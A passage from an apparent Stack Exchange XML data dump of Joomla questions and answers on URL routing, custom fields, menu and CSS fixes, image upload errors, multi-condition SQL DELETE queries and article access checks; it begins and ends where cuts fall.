$vars['view']  = 'article';&#xA;            $vars['catid'] = $segments[$count-2];&#xA;        }&#xA;&#xA;        $vars['id']    = $segments[$count-1];&#xA;&#xA;    } break;&#xA;&#xA;    case 'category'   :&#xA;    {&#xA;        $vars['id']   = $segments[$count-1];&#xA;        $vars['view'] = 'article';&#xA;&#xA;    } break;&#xA;&#xA;    case 'frontpage'   :&#xA;    {&#xA;        $vars['id']   = $segments[$count-1];&#xA;        $vars['view'] = 'article';&#xA;&#xA;    } break;&#xA;&#xA;    case 'article' :&#xA;    {&#xA;        $vars['id']   = $segments[$count-1];&#xA;        $vars['view'] = 'article';&#xA;    } break;&#xA;&#xA;    case 'archive' :&#xA;    {&#xA;        if($count != 1)&#xA;        {&#xA;            $vars['year']  = $count &amp;gt;= 2 ? $segments[$count-2] : null;&#xA;            $vars['month'] = $segments[$count-1];&#xA;            $vars['view']  = 'archive';&#xA;        } else {&#xA;            $vars['id']   = $segments[$count-1];&#xA;            $vars['view'] = 'article';&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;$alias = explode(':', $vars['id']);&#xA;if((int) $alias[0] &amp;gt; 0)&#xA;{&#xA;    $vars['id'] = $alias[0];&#xA;} &#xA;else &#xA;{&#xA;    if(count($alias) &amp;gt; 1)&#xA;    {&#xA;        $vars['id'] = $alias[0].'-'.$alias[1];&#xA;    }&#xA;&#xA;    if($vars['view'] == 'article')&#xA;    {&#xA;        //$data=str_replace('-', ' ', $vars['id']);&#xA;        $query = 'SELECT id FROM #__petitions_signataires WHERE ref = '.$db-&amp;gt;Quote($vars['id']);&#xA;    } &#xA;    elseif($vars['view'] == 'category') &#xA;    {&#xA;        $query = 'SELECT id FROM #__categories WHERE section &amp;gt; 0 &amp;amp;&amp;amp; alias = '.$db-&amp;gt;Quote($vars['id']);&#xA;    }&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $vars['id'] = $db-&amp;gt;loadResult();&#xA;    $vars['latestnews'] = 'latest';&#xA;    $vars['detailslink'] = 'link';&#xA;&#xA;}&#xA;&#xA;return $vars;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the Jroute link :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;'.JRoute::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id='.$row-&amp;gt;id.':'.$row-&amp;gt;ref.'&amp;amp;Itemid=3').'&quot;&amp;gt;'.$row-&amp;gt;pet_content.'&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7932" LastActivityDate="2016-03-04T19:03:49.520" Title="Remove menuitem alias from sef url joomla" Tags="|url|sef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15520" PostTypeId="2" ParentId="15485" CreationDate="2016-03-04T11:37:39.767" Score="4" Body="&lt;p&gt;There are a few options for this, the two best are probably FieldsAttatch and DPFields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used FieldsAttatch for a few years, and it has a nice light approach.  However the newer DPFields looks good and is, in some ways, a more elegant architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DPFields is probably the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a similar question at...&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13557&quot;&gt;Adding Custom Fields to Article Component [Not in attribs field]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some useful links...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FieldsAttatch: &lt;a href=&quot;http://www.fieldsattach.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.fieldsattach.com/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;DPFields:&#xA;&lt;a href=&quot;https://joomla.digital-peak.com/products/dpfields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla.digital-peak.com/products/dpfields&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Brian Teeman on&#xA;FieldsAttatch: &lt;a href=&quot;https://www.youtube.com/watch?v=f2WLKWbRj5U&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=f2WLKWbRj5U&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Marco&#xA;Dings on DPFields: &lt;a href=&quot;https://www.youtube.com/watch?v=KDh1IPuZAVA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=KDh1IPuZAVA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-04T11:37:39.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15522" PostTypeId="2" ParentId="10374" CreationDate="2016-03-04T18:44:54.697" Score="1" Body="&lt;p&gt;In regards to the original question.  Showing the full article without the introtext.&lt;br&gt;&#xA;A very simple way which requires no coding experience.&lt;br&gt;&#xA;In the category, under the 4th dropdown &quot;&lt;strong&gt;Item view options in category listings&lt;/strong&gt;&quot; There is the option to choose the Introtext word limit.  If you leave this field blank, it will by default, show all of the article text.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple, done and nothing has to get customized!&lt;/p&gt;&#xA;" OwnerUserId="7940" LastActivityDate="2016-03-04T18:44:54.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15523" PostTypeId="2" ParentId="15519" CreationDate="2016-03-04T18:58:47.333" Score="1" Body="&lt;p&gt;If you are only trying to route directly to articles you can create a hidden menu in the backend and the create Single Article menu items on that menu. This will allow you to access your articles directly to the project name if that is what you are looking to do. No need for a special router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the backend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Menus &gt; Manage &gt; Add New Menu&lt;/li&gt;&#xA;&lt;li&gt;Enter Hidden Menu (or whatever you want) for all three fields&lt;/li&gt;&#xA;&lt;li&gt;Menus &gt; Hidden Menu &gt; Add New Menu Item&lt;/li&gt;&#xA;&lt;li&gt;Create Menu Item Typs System &gt; Text Separator&lt;/li&gt;&#xA;&lt;li&gt;Name the New Menu item after your project&lt;/li&gt;&#xA;&lt;li&gt;Create a New Menu Item &gt; Articles &gt; Single Article&lt;/li&gt;&#xA;&lt;li&gt;Choose your article from the list&lt;/li&gt;&#xA;&lt;li&gt;Set the parent menu item to the project menu item separator you just created.&lt;/li&gt;&#xA;&lt;li&gt;Test it by accessing &lt;a href=&quot;http://yoursite.tld/project-name/article-name&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.tld/project-name/article-name&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps and saves you some work.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-04T18:58:47.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15524" PostTypeId="2" ParentId="15519" CreationDate="2016-03-04T19:03:49.520" Score="0" Body="&lt;p&gt;That is a good way to get the job done.  You can also download a free extension called Advanced Module Manager.  This gives you a much more granular way to control where your content appears.  You can assign modules to your articles by category, tag or even article ID.&lt;/p&gt;&#xA;" OwnerUserId="7940" LastActivityDate="2016-03-04T19:03:49.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15526" PostTypeId="2" ParentId="15435" CreationDate="2016-03-04T19:12:22.660" Score="0" Body="&lt;p&gt;check in your category and subcategories.  There are settings which lets you determine how many leading articles you show as well as how many links and columns. most likely your issue. &lt;/p&gt;&#xA;" OwnerUserId="7940" LastActivityDate="2016-03-04T19:12:22.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15528" PostTypeId="1" AcceptedAnswerId="15529" CreationDate="2016-03-04T20:20:56.010" Score="1" ViewCount="173" Body="&lt;p&gt;&lt;a href=&quot;http://www.loirevalleywineries.com/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is the site, if we drag it through the chrome or ff its menu works fine in all the resolutions, but if we open this on any mobile, we cannot click on top menu bar, why is that ?&#xA;and how to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="7942" LastEditorUserId="3650" LastEditDate="2016-11-10T11:39:36.230" LastActivityDate="2016-11-10T11:39:36.230" Title="Cannot click on menu bar, joomla mobile site" Tags="|joomla-3.x|responsive-web-design|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15529" PostTypeId="2" ParentId="15528" CreationDate="2016-03-04T20:41:52.640" Score="2" Body="&lt;p&gt;In file &lt;code&gt;/templates/lvwineries/css/style.css&lt;/code&gt;&#xA;on line 248 in selector &lt;code&gt;#bottom2&lt;/code&gt; add attribute &lt;code&gt;z-index: -1;&lt;/code&gt; like this:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;#bottom2 {&lt;br&gt;&#xA;   min-height: 400px;&lt;br&gt;&#xA;   position: relative;&lt;br&gt;&#xA;   z-index: -1;&lt;br&gt;&#xA;  }  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on line 1200 in selector &lt;code&gt;#header_right&lt;/code&gt; add attribute &lt;code&gt;z-index:1;&lt;/code&gt; like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;#header_right {&lt;br&gt;&#xA;      height: 99px;&lt;br&gt;&#xA;      z-index:1;&lt;br&gt;&#xA;  }  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on line 1204 in selector &lt;code&gt;.menu_principal&lt;/code&gt; add attribute &lt;code&gt;z-index:2:&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.menu_principal {&lt;br&gt;&#xA;      width: 481px;&lt;br&gt;&#xA;      z-index: 2;&lt;br&gt;&#xA;  }  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That should make menu links clickable.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-03-04T20:41:52.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15530" PostTypeId="2" ParentId="15508" CreationDate="2016-03-04T20:42:01.683" Score="1" Body="&lt;p&gt;You can try to switch to default template like Protostar. Do you have the same issue?&#xA;if you can't replicate the issue with Protostar the problem is on your template&lt;/p&gt;&#xA;&lt;p&gt;In your site, have you those directories ?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/templates/foodworld/html/mod_login&lt;/p&gt;&#xA;&lt;p&gt;/templates/foodworld/html/com_users/login&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;if yes, rename them one by one to&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/templates/foodworld/html/mod_login_test&lt;/p&gt;&#xA;&lt;p&gt;/templates/foodworld/html/com_users/login_test&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;By doing this you are back to the default layout. Is the issue gone?&lt;/p&gt;&#xA;&lt;p&gt;if yes, the problem is inside of one of this override.&lt;/p&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-05T19:22:58.840" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15531" PostTypeId="2" ParentId="15435" CreationDate="2016-03-04T20:43:14.980" Score="1" Body="&lt;p&gt;One of the most important element of Joomla are the &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;components&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://docs.joomla.org/Extension_types_(general_definitions)&quot; rel=&quot;nofollow noreferrer&quot;&gt;extension&lt;/a&gt;). Components can be considered as mini-applications inside the Joomla ecosystem, that in most cases are designed to allow the creation, management and display of content for the site. There are many core components and a lot more 3rd party.&lt;br&gt;&#xA;The most used component is the &lt;strong&gt;com_content (articles)&lt;/strong&gt;. It is the one that let us create categories and articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important element of Joomla, is the &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_a_new_menu_item&quot; rel=&quot;nofollow noreferrer&quot;&gt;Menu Items&lt;/a&gt;&lt;/strong&gt;. Menu items are responsible for displaying content and the overall structure of a Joomla site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each component provide a set of menu items with predefined settings and layout options. We create menu items to link certain content from a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a menu item of the com_content component is the Single Article menu item. With this menu item, we can create a menu item in our menu, to create a page that will display a specific article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the com_content component we can create other types of pages as well, like a blog layout page. For a such page, we can use the &lt;strong&gt;Category Blog&lt;/strong&gt; layout menu item to display many articles, one below the other of a certain category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as said, each menu item has settings and layout options. The category blog menu item for example gives us options to select how many articles we would like to display in each page before the pagination starts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have options for leading articles, intro articles, columns (usually for the intro articles, but that depends also on the template) and link (only) articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the screenshot... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/soVHh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/soVHh.jpg&quot; alt=&quot;Category Blog Layout Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can experiment with these settings for the menu items of your categories and see how they change on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to note is that these options can be set as global, to be used as default across the com_content. To access the global settings, just click on the articles and when on the articles list, click the &lt;strong&gt;Options&lt;/strong&gt; button (left on the toolbar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the case that some articles are shown with only the first 1-2 paragraphs, and clicking on the title takes you to the full article, this in Joomla can be achieved by using the &lt;strong&gt;Read More&lt;/strong&gt; feature inside an article. There should be a special button, below the editor textarea which will insert a special &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; tag. This will instruct Joomla to split the whole article into 2 parts. The &lt;strong&gt;intro text&lt;/strong&gt; and the &lt;strong&gt;full text&lt;/strong&gt;. Only an article that contain this special &lt;strong&gt;&quot;Read More&quot;&lt;/strong&gt; will be shown half in a category blog layout and full or the remaining part in the article page (depending on the chosen settings for intro-text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, there are a lot more that can be said regarding options, features, possibilities etc... but I won't expand to cover each and every case. I hope the above are a good introduction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to note again that in many cases, the templates and possible overrides can have their own touch on how the content is displayed in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I would suggest you to go and explore your site and its structure, review your global settings, menu items and articles, and experiment with the settings. If you need further help or have other questions you can come back here and ask a new question. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-03-05T20:20:32.683" LastActivityDate="2016-03-05T20:20:32.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15532" PostTypeId="2" ParentId="15484" CreationDate="2016-03-04T23:33:23.840" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Creating a custom field&lt;/a&gt; would be the cleanest way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;standard field type&lt;/a&gt; that does what you want but you could probably create a sub-class of one them. The custom field would allow you to inject any interface JavaScript you may need as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A likely approach would be using the &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Repeatable form field&lt;/a&gt; as it already provides a lot of the flexibility required and obviously multiple values and using your custom field with-in that.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-03-04T23:33:23.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15533" PostTypeId="1" AcceptedAnswerId="15692" CreationDate="2016-03-05T08:04:06.127" Score="2" ViewCount="1856" Body="&lt;p&gt;I built a new site in Joomla 3.4.5 with JCE editor 2.5.11. When I tried to upload an image in the JCE's image dialog, it failed with &lt;code&gt;&quot;Upload Failed: No Data&quot;&lt;/code&gt;. Unlike &lt;a href=&quot;https://www.joomlacontenteditor.net/support/forum/some-jpg-uploads-did-not-succeed-after-update-to-jce-2-5-9&quot; rel=&quot;nofollow&quot;&gt;this case&lt;/a&gt;, this error occurs for every image, not just some. I checked in the &lt;a href=&quot;https://github.com/widgetfactory/jce/blob/master/components/com_jce/editor/libraries/classes/browser.php&quot; rel=&quot;nofollow&quot;&gt;source code (row 823)&lt;/a&gt; that JCE thinks the image file is empty, so it probably fails before reaching the JCE file check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to upload the image in backend (media manager). In complains about files being too big instead. The limit is set to 10MB and I tested this with image files of several tens or hundreds kB, so there must be some bug. But how to correct/ workaround it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: after upgrade to Joomla 3.4.8 and JCE to 2.5.14, the error message in the frontend changed to &lt;code&gt;[object Object]&lt;/code&gt;. The error in the backend is still the same.&lt;/p&gt;&#xA;" OwnerUserId="3745" LastEditorUserId="3745" LastEditDate="2016-03-05T21:20:03.323" LastActivityDate="2016-03-26T17:58:42.170" Title="&quot;Upload Failed: No Data&quot; while trying to upload an image" Tags="|joomla-3.4|jce|media-manager|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15535" PostTypeId="1" CreationDate="2016-03-05T16:58:36.993" Score="0" ViewCount="118" Body="&lt;p&gt;I have videos on my site component HWDmedia share. They haven't schema.org integration and trying add markup to videos. For videoobject have 4 types and i add 3 of them (name,description and date) but have problems with thumbnails. As video from youtube loading with iframe thumbnails also loading in iframe, but it also adding to database. &#xA;I try to add code from joomla documentation to get that url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA; // Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('id', 'thumbnail')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('ojn5g_hwdms_media'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$row = $db-&amp;gt;loadRow();&#xA;print_r($row);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in result i get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object ( [id] =&amp;gt; 28 [thumbnail] =&amp;gt; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2016-08-03T16:37:27.307" Title="Get HWD media share video thumbnail url from Joomla database" Tags="|joomla-3.x|database|jdatabase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15536" PostTypeId="1" CreationDate="2016-03-05T17:00:13.127" Score="0" ViewCount="1545" Body="&lt;p&gt;I would like to run a delete sql query with multiple values in it in my joomla site. But I am unable to do so. So I need your help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In controller.php page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deleteFiles()&#xA;{&#xA;    JRequest::checkToken() or jexit('Invalid Token');&#xA;    $mainframe = &amp;amp;JFactory::getApplication();&#xA;    if ($this-&amp;gt;_model-&amp;gt;deleteFiles()) {&#xA;        $mainframe-&amp;gt;enqueueMessage(JText::_('Files deleted successfully'),'message');&#xA;    } else {&#xA;        $mainframe-&amp;gt;enqueueMessage(JText::_('Files not deleted'), 'error');&#xA;    }&#xA;    ARequest::redirectList($this-&amp;gt;_controllerName);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In model.php page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deleteFiles($field, $value)&#xA;{&#xA;    $query = 'DELETE FROM ' . $this-&amp;gt;rquote($this-&amp;gt;_table-&amp;gt;getTableName()) . ' WHERE ' . $this-&amp;gt;rquote($field) . ' = ' . $this-&amp;gt;_db-&amp;gt;Quote($value);&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;    return $this-&amp;gt;_db-&amp;gt;query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In file.php page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deleteFiles()&#xA;{&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery('DELETE r &#xA;            FROM #__booking_reservation AS r &#xA;            WHERE r.state = ' . FILES_ACCEPT);&#xA;    $this-&amp;gt;_db-&amp;gt;query();&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally in the default.php page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolBarHelper::custom('deleteFiles', 'delete.png', 'delete_2.png', 'Delete Files', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in file.php page, I want to add FILES_BOOKED, FILES_CANCEL, FILES_DELETE along with the present FILES_ACCEPT. But I don't know how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE r.state=' .FILES_ACCEPT. ' OR r.state=' .FILES_BOOKED. ' OR r.state=' .FILES_CANCEL. ' OR r.state=' .FILES_DELETE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then, all the record is got deleted under those value when I select one record from FILES_BOOKED and then click Delete files button, then it deleted all other files from FILES_ACCEPT or FILES_CANCEL etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what should I need to do to delete one value when I select that particular value from listing record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried following method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deleteFiles()&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $conditions = array(&#xA;        $db-&amp;gt;quoteName('r.state') . ' = ' . $db-&amp;gt;quote('FILES_ACCEPT'), &#xA;        $db-&amp;gt;quoteName('r.state') . ' = ' . $db-&amp;gt;quote('FILES_CANCEL')&#xA;    );&#xA;&#xA;    $query-&amp;gt;delete($db-&amp;gt;quoteName('#__booking_reservation_items'));&#xA;    $query-&amp;gt;where($conditions);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then it's giving me a 1054 error with following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unknown column 'r.state' in 'where clause'&lt;br&gt;&#xA;  SQL=DELETE FROM `iyatx_booking_reservation_items` WHERE `r`.`state` = 'FILES_ACCEPT' AND `r`.`state` = 'FILES_CANCEL'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So can you tell me what to do now?&lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="12352" LastEditDate="2019-02-01T20:48:28.780" LastActivityDate="2022-06-01T02:20:06.970" Title="How to run delete sql query with multiple values in Joomla?" Tags="|joomla-3.x|php|mysql|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15537" PostTypeId="2" ParentId="15536" CreationDate="2016-03-05T17:49:41.877" Score="1" Body="&lt;p&gt;Just some side notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;JRequest&lt;/code&gt; is deprecated. Please use &lt;code&gt;JSession::checkToken() or die('Invalid Token';)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can remove the &lt;code&gt;&amp;amp;&lt;/code&gt; from &lt;code&gt;&amp;amp;JFactory::getApplication()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for your actual query, I'd suggest looking at the &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Deleting_a_Record&quot; rel=&quot;nofollow&quot;&gt;Joomla Documentation&lt;/a&gt; and  making full use of the Joomla API, which allows you to add conditions, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conditions = array(&#xA;    $db-&amp;gt;quoteName('r.state') . ' = ' . $db-&amp;gt;quote('something'), &#xA;    $db-&amp;gt;quoteName('r.state') . ' = ' . $db-&amp;gt;quote('something else')&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-05T17:49:41.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15538" PostTypeId="1" AcceptedAnswerId="15539" CreationDate="2016-03-05T19:07:33.830" Score="1" ViewCount="1423" Body="&lt;p&gt;How can I check if the user has access to any particular article?&#xA;I was looking at $user-&gt;authorise() method but it looks like it's only for core edit, edit own and some other permissions.&lt;/p&gt;&#xA;" OwnerUserId="7811" LastEditorUserId="115" LastEditDate="2016-03-06T02:38:20.120" LastActivityDate="2016-03-06T02:38:20.120" Title="How to check if the user is authorized to view a particular article?" Tags="|articles|acl|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15539" PostTypeId="2" ParentId="15538" CreationDate="2016-03-05T19:37:37.223" Score="5" Body="&lt;p&gt;You can see an exemple of this check in this file&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_articles_latest/helper.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/joomlagovbr/joomla-3.x/blob/master/modules/mod_articles_latest/helper.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomlagovbr/joomla-3.x/blob/master/modules/mod_articles_latest/helper.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()-&amp;gt;get('id'));&#xA;&#xA;if (in_array($item-&amp;gt;access, $authorised))&#xA;{&#xA;    // We know that user has the privilege to view the article&#xA;    // do something here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where $item is your article&lt;/p&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2016-03-05T19:47:09.477" LastActivityDate="2016-03-05T19:47:09.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15540" PostTypeId="1" AcceptedAnswerId="15542" CreationDate="2016-03-05T20:18:33.187" Score="0" ViewCount="84" Body="&lt;p&gt;Is there any way, to show an Article inside of the jomsocial-component?&#xA;Maybe a faq-page or terms of service page?&lt;/p&gt;&#xA;" OwnerUserId="5251" LastActivityDate="2016-03-05T23:17:18.930" Title="Article inside of JomSocial" Tags="|joomla-3.x|jomsocial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15541" PostTypeId="2" ParentId="15484" CreationDate="2016-03-05T21:22:11.090" Score="0" Body="&lt;p&gt;As I understand it, you basically want to manage the links to mary's roles directly from mary's profile form, right? I don't think you should use a special field type for this, what you want is another form matching the links-table. You should add a link form-section to the profile form, f.ex as an extra tab on the form. The easiest is to let this area be disabled before the profile is actually saved, so you have an ID to insert into the links-table. Then you add some functionality to use ajax to add links to the links table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you at least need to create the following: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add this file in your /templates/yourtemplate/ajax.php containing only &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A form-view for link-editing. This is called from the profile-form, and should have a select field for role and a calendar-field for the date. The form is displayed using ajax on the profile form. Test the form and your ajax template using &lt;code&gt;http://examlpe.com?option=com_yourcomponen&amp;amp;view=linkform&amp;amp;tmpl=ajax&lt;/code&gt;. This should only return the form, no additional html.&lt;/li&gt;&#xA;&lt;li&gt;Override the form-view by copying com_yourcomponent/views/linkform/tmpl/default.php to templates/yourtemplate/html/com_yourcomponent/ajax.php and add a hidden input with name &lt;code&gt;tmpl&lt;/code&gt; and value &lt;code&gt;ajax&lt;/code&gt; to the form. Test with 